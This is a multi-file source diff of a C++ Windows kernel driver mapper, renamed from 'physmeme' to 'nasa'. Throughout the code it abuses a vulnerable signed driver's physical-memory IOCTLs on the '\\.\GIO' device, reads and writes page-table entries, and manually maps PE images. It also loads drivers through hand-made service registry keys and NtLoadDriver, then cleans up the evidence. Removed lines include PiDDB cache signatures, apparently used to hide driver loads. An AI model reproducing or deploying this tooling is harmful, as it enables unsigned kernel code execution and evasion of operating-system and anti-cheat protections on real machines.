@ -344,7 +338,7 @@ namespace physmeme
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset)
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
write_phys
@ -367,7 +361,7 @@ namespace physmeme
(
buffer,
addr,
PAGE_SIZE - virt_addr.offset
PAGE_4KB - virt_addr.offset
);
// forward work load
@ -375,7 +369,7 @@ namespace physmeme
(
new_buffer_addr,
new_addr,
size - (PAGE_SIZE - virt_addr.offset)
size - (PAGE_4KB - virt_addr.offset)
);
}
}
@ -386,9 +380,13 @@ namespace physmeme
return;
const auto temp_page = set_page(addr);
if (temp_page)
__try
{
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
}
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{
@ -396,9 +394,13 @@ namespace physmeme
return;
const auto temp_page = set_page(addr);
if (temp_page)
__try
{
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
}
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
{
@ -406,9 +408,8 @@ namespace physmeme
return {};
const virt_addr_t virt_addr{ addr };
//
// traverse paging tables
//
auto pml4e = read_phys<::pml4e>(
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);

@ -1,54 +1,30 @@
#pragma once
#include "../util/nt.hpp"
#include "../kernel_ctx/kernel_ctx.h"
#include "../vdm_ctx/vdm_ctx.h"
#define PAGE_IN(addr, size) memset(addr, NULL, size)
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};
namespace physmeme
namespace nasa
{
class mem_ctx
{
friend class mapper_ctx;
public:
explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid = GetCurrentProcessId());
explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
~mem_ctx();
//
// PTE manipulation
//
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
//
// PDE manipulation
//
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
//
// PDPTE manipulation
//
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
//
// PML4E manipulation
//
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
//
// gets dirbase (not the PTE or PFN but actual physical address)
//
void* get_dirbase() const;
static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid);
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
void read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size);
@ -56,7 +32,6 @@ namespace physmeme
template <class T>
T read_phys(void* addr)
{
if (!addr) return {};
T buffer;
read_phys((void*)&buffer, addr, sizeof(T));
return buffer;
@ -65,7 +40,6 @@ namespace physmeme
template <class T>
void write_phys(void* addr, const T& data)
{
if (!addr) return;
write_phys((void*)&data, addr, sizeof(T));
}
@ -73,28 +47,20 @@ namespace physmeme
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
template <class T>
T read_virtual(void* addr)
__forceinline T read_virtual(void* addr)
{
if (!addr) return {};
T buffer;
read_virtual((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void write_virtual(void* addr, const T& data)
__forceinline void write_virtual(void* addr, const T& data)
{
write_virtual((void*)&data, addr, sizeof(T));
}
//
// linear address translation (not done by hyperspace mappings)
//
void* virt_to_phys(pt_entries& entries, void* addr);
//
// these are used for the pfn backdoor, this will be removed soon
//
void* set_page(void* addr);
void* get_page() const;
unsigned get_pid() const;
@ -105,16 +71,15 @@ namespace physmeme
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
private:
//
// given an address fill pt entries with physical addresses and entry values.
//
bool hyperspace_entries(pt_entries& entries, void* addr);
void* dirbase;
kernel_ctx* k_ctx;
std::uint16_t pml4e_index, pdpte_index, pde_index, pte_index, page_offset;
vdm::vdm_ctx* v_ctx;
std::uint16_t pml4e_index,
pdpte_index,
pde_index,
pte_index,
page_offset;
/// first == physical
/// second == virtual
std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt;

@ -42,7 +42,7 @@
<Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>nasa_mapper</RootNamespace>
<WindowsTargetPlatformVersion>10.0.19041.0</WindowsTargetPlatformVersion>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>nasa-mapper</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
@ -198,24 +198,24 @@
<FilesToPackage Include="$(TargetPath)" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp" />
<ClCompile Include="map_driver.cpp" />
<ClCompile Include="mapper_ctx\mapper_ctx.cpp" />
<ClCompile Include="map_driver.cpp" />
<ClCompile Include="mem_ctx\mem_ctx.cpp" />
<ClCompile Include="pe_image\pe_image.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="mapper_ctx\mapper_ctx.hpp" />
<ClInclude Include="map_driver.hpp" />
<ClInclude Include="mem_ctx\mem_ctx.hpp" />
<ClInclude Include="pe_image\pe_image.h" />
<ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

@ -9,61 +9,31 @@
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Source Files\kernel_ctx">
<UniqueIdentifier>{83519050-9bed-40a9-a77d-942703f60095}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\mem_ctx">
<UniqueIdentifier>{ee6a9f2c-459b-4c85-a8dc-7a7c2388f001}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\pe_image">
<UniqueIdentifier>{e57e15c5-ee32-4613-8c5d-7a8291374ce3}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\kernel_ctx">
<UniqueIdentifier>{ca26a250-bea0-4c50-96bb-c116341e88ae}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\mem_ctx">
<UniqueIdentifier>{7b30958b-892c-4861-9bd4-ca7a378fc0f4}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{497221d8-1116-4880-83f8-6fe282835304}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\physmeme">
<UniqueIdentifier>{a262d59d-d938-418f-a639-e19e5e9ba105}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\pe_image">
<UniqueIdentifier>{c3a39f7f-8159-4f90-b3f9-a19ccdf20936}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\mapper_ctx">
<UniqueIdentifier>{1b65a05e-277d-48e8-9c9a-fde62c697312}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\mapper_ctx">
<UniqueIdentifier>{9e414eb1-5dcb-4a4f-8eec-93a42422cf0c}</UniqueIdentifier>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{260f8917-d70f-4869-81d9-f07600aa2ad1}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp">
<Filter>Source Files\kernel_ctx</Filter>
<ClCompile Include="map_driver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files\mem_ctx</Filter>
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="pe_image\pe_image.cpp">
<Filter>Source Files\pe_image</Filter>
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="mapper_ctx\mapper_ctx.cpp">
<Filter>Source Files\mapper_ctx</Filter>
<ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="map_driver.cpp">
<ClCompile Include="mapper_ctx\mapper_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h">
<Filter>Header Files\kernel_ctx</Filter>
</ClInclude>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files\mem_ctx</Filter>
</ClInclude>
<ClInclude Include="util\hook.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
@ -73,22 +43,28 @@
<ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="physmeme\physmeme.hpp">
<Filter>Header Files\physmeme</Filter>
<ClInclude Include="map_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="pe_image\pe_image.h">
<Filter>Header Files\pe_image</Filter>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="mapper_ctx\mapper_ctx.hpp">
<Filter>Header Files\mapper_ctx</Filter>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="loadup.hpp">
<ClInclude Include="mapper_ctx\mapper_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="pe_image\pe_image.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="map_driver.hpp">
<ClInclude Include="vdm_ctx\vdm_ctx.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>

@ -30,7 +30,7 @@ For more information, please refer to <http://unlicense.org>
#include "pe_image.h"
namespace physmeme
namespace nasa
{
pe_image::pe_image(std::vector<uint8_t>& image) : m_image(image)
{
@ -153,7 +153,7 @@ namespace physmeme
return (T*)(uintptr_t)base + offset;
}
void pe_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function)
void pe_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
@ -166,7 +166,6 @@ namespace physmeme
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else

@ -42,7 +42,7 @@ For more information, please refer to <http://unlicense.org>
#include <variant>
#pragma comment(lib, "Dbghelp.lib")
namespace physmeme
namespace nasa
{
class pe_image
{
@ -66,7 +66,7 @@ namespace physmeme
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
}
void fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function);
void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
void* data();
size_t header_size();
};

@ -1,94 +0,0 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
inline bool load_drv()
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof(raw_driver)
);
drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return drv_handle;
}
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
);
}
}

File diff suppressed because it is too large Load Diff

@ -22,23 +22,23 @@
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -49,10 +49,11 @@ namespace driver
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -67,10 +68,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
@ -83,10 +81,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
@ -99,10 +94,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
@ -115,9 +107,6 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
@ -133,8 +122,7 @@ namespace driver
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
@ -156,7 +144,7 @@ namespace driver
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
@ -184,36 +172,27 @@ namespace driver
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
@ -241,41 +220,37 @@ namespace driver
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
__forceinline auto unload(const std::string& service_name) -> bool
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
const bool delete_drv = std::filesystem::remove(image_path);
}
catch(std::exception& e) {}
return unload_drv && delete_reg;
std::filesystem::remove(image_path);
}
catch (std::exception& e)
{
return false;
}
return delete_reg && unload_drv;
}
}

@ -1,6 +1,10 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdint>
#include <cstddef>
#include <map>
#pragma comment(lib, "ntdll.lib")
#if _DEBUG
@ -11,50 +15,15 @@
#define DBG_PRINT(...) printf(__VA_ARGS__)
#endif
#define PAGE_4KB 0x1000
#define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
constexpr auto PAGE_SIZE = 0x1000;
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
#define PAGE_IN(addr, size) memset(addr, NULL, size)
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64;
typedef struct PiDDBCacheEntry
{
LIST_ENTRY list;
UNICODE_STRING driver_name;
ULONG time_stamp;
NTSTATUS load_status;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
}PIDCacheobj;
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
@ -84,99 +53,8 @@ typedef struct _MM_COPY_ADDRESS {
};
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
typedef CCHAR KPROCESSOR_MODE;
typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;
typedef enum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolBase,
NonPagedPoolBaseMustSucceed,
NonPagedPoolBaseCacheAligned,
NonPagedPoolBaseCacheAlignedMustS,
NonPagedPoolSession,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession,
NonPagedPoolNx,
NonPagedPoolNxCacheAligned,
NonPagedPoolSessionNx
} POOL_TYPE;
typedef enum _MEMORY_CACHING_TYPE {
MmNonCached,
MmCached,
MmWriteCombined,
MmHardwareCoherentCached,
MmNonCachedUnordered,
MmUSWCCached,
MmMaximumCacheType,
MmNotMapped
} MEMORY_CACHING_TYPE;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS* Process;
union {
UCHAR InProgressFlags;
struct {
BOOLEAN KernelApcInProgress : 1;
BOOLEAN SpecialApcInProgress : 1;
};
};
BOOLEAN KernelApcPending;
union {
BOOLEAN UserApcPendingAll;
struct {
BOOLEAN SpecialUserApcPending : 1;
BOOLEAN UserApcPending : 1;
};
};
} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE;
using PEPROCESS = PVOID;
using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
CLIENT_ID* ClientId
);
using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
using MmCopyVirtualMemory = NTSTATUS (__fastcall*)(
IN PEPROCESS FromProcess,
IN PVOID FromAddress,
IN PEPROCESS ToProcess,
OUT PVOID ToAddress,
IN SIZE_T BufferSize,
IN KPROCESSOR_MODE PreviousMode,
OUT PSIZE_T NumberOfBytesCopied
);
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
HANDLE ProcessId,
PEPROCESS* Process
@ -190,171 +68,123 @@ using MmCopyMemory = NTSTATUS(__stdcall*)(
PSIZE_T
);
using MmGetVirtualForPhysical = PVOID(__fastcall*)(
__in PHYSICAL_ADDRESS PhysicalAddress
);
using MmGetPhysicalAddress = PVOID (__fastcall*)(
__in PVOID BaseAddress
);
using ExAllocatePool = PVOID (__fastcall*) (
POOL_TYPE PoolType,
SIZE_T NumberOfBytes
);
using IoAllocateMdl = PVOID(__fastcall*)(
__drv_aliasesMem PVOID VirtualAddress,
ULONG Length,
BOOLEAN SecondaryBuffer,
BOOLEAN ChargeQuota,
PVOID Irp
);
using MmBuildMdlForNonPagedPool = void (__fastcall*)(
PVOID MemoryDescriptorList
);
using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)(
PVOID MemoryDescriptorList,
KPROCESSOR_MODE AccessMode,
MEMORY_CACHING_TYPE CacheType,
PVOID RequestedAddress,
ULONG BugCheckOnFailure,
ULONG Priority
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
__in std::uintptr_t PhysicalAddress
);
using KeUnstackDetachProcess = void (__fastcall*)(
PRKAPC_STATE ApcState
);
using KeStackAttachProcess = void (__fastcall*)(
PEPROCESS PROCESS,
PRKAPC_STATE ApcState
);
using ExFreePool = void* (__fastcall*)(
PVOID P
);
using ZwLockVirtualMemory = NTSTATUS (__fastcall*)(
IN HANDLE,
IN OUT PVOID,
IN OUT PULONG,
IN ULONG
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
__in std::uintptr_t BaseAddress
);
typedef union _virt_addr_t
{
PVOID value;
void* value;
struct
{
ULONG64 offset : 12;
ULONG64 pt_index : 9;
ULONG64 pd_index : 9;
ULONG64 pdpt_index : 9;
ULONG64 pml4_index : 9;
ULONG64 reserved : 16;
std::uint64_t offset : 12;
std::uint64_t pt_index : 9;
std::uint64_t pd_index : 9;
std::uint64_t pdpt_index : 9;
std::uint64_t pml4_index : 9;
std::uint64_t reserved : 16;
};
} virt_addr_t, *pvirt_addr_t;
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pml4e
{
ULONG64 value;
std::uint64_t value;
struct
{
ULONG64 present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT.
ULONG64 page_cache : 1; // Determines the memory type used to access PDPT.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1;
ULONG64 page_size : 1; // Must be 0 for PML4E.
ULONG64 Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PDPT of this PML4E.
ULONG64 Reserved : 4;
ULONG64 Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // Must be 0 for PML4E.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pml4e, * ppml4e;
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pdpte
{
ULONG64 value;
std::uint64_t value;
struct
{
ULONG64 present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD.
ULONG64 page_cache : 1; // Determines the memory type used to access PD.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1;
ULONG64 page_size : 1; // If 1, this entry maps a 1GB page.
ULONG64 Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PD of this PDPTE.
ULONG64 Reserved : 4;
ULONG64 Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t rw : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
